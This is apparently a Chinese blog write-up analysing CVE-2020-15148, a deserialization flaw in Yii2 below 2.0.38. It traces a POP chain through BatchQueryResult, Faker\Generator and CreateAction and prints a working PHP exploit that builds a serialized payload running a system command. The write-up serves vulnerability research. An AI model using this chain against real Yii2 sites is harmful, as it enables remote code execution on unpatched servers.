CVE-2020-15148 Yii2 反序列化分析及拓展
漏洞范围
- Yii2 < 2.0.38
环境安装
这里直接选择去GitHub官方仓库拉取Yii2的源代码:
https://github.com/yiisoft/yii2/releases
下载到本地后解压到web目录,修改config/web.php
文件里cookieValidationKey
的值
再在Controller添加一个反序列化的入口代码:
MacOS下用MAMP搭建PHP调试环境,测试一下:
漏洞分析
根据现有的资料,反序列化的起点是在yii\db\BatchQueryResult
类中,文件位置/vendor/yiisoft/yii2/db/BatchQueryResult.php
:
__destruct()
函数调用了reset()
方法,reset()
方法中的_dataReader
参数是可控的,并且调用了该参数的close()
函数,那么此处就可以作为跳板,去执行其他类中的__call()
函数,全局查找关键字function __call
:
一共有找到16个__call()
函数,那就一个一个的分析下来,其中Codeception
组件中多数是直接抛出异常,没有可利用的地方,但是Faker\Generator
类是可以成为POP链的。具体代码位于:/vendor/fzaninotto/faker/src/Faker/Generator.php
首先__call()
函数中调用了format()
方法:
接着跟下去format()
方法,参数$method
和$attributes
都是不可控的:
在format()
方法内部,使用回调函数call_user_func_array()
调用了getFormatter()
方法。在该方法中,我们只关心第一个if语句,
由于$this->formatter
是我们可控的,所以这里就可以调用任意类中的任意方法了。但是上面提到过,此时$formatter='close'
而$arguments
为空,也就是说call_user_func_array()
这个函数的第一个参数可控,第二个参数为空。说的更透彻一点,要寻找的就是可以实现RCE的任意一个方法,并且参数是类的成员变量!
同样的,这里我们用call_user_func()
去实现RCE
,用正则表达式call_user_func(\$this->([a-zA-Z0-9]+)
, \$this->([a-zA-Z0-9]+)\)
去匹配参数的限制,全局搜索:
yii\rest\CreateAction::run()和yii\rest\IndexAction::run()
都可以实现上述条件下的RCE:
那么整个POP链也就清楚了:
yii\db\BatchQueryResult::__destruct()
->
Faker\Generator::__call()
->
yii\rest\CreateAction::run()
编写EXP
<?php
namespace yii\rest{
class CreateAction{
public $id;
public $checkAccess;
public function __construct()
{
$this->id = 'whoami';
$this->checkAccess = 'system';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
结果:
继续挖掘
新版本的BatchQueryResult
类已经无法反序列化了,那就全局搜索__destruct()
函数,然后一个个的排查
后面的还没有研究明白
[图片上传中...(18806-ks6znwy3g2p)]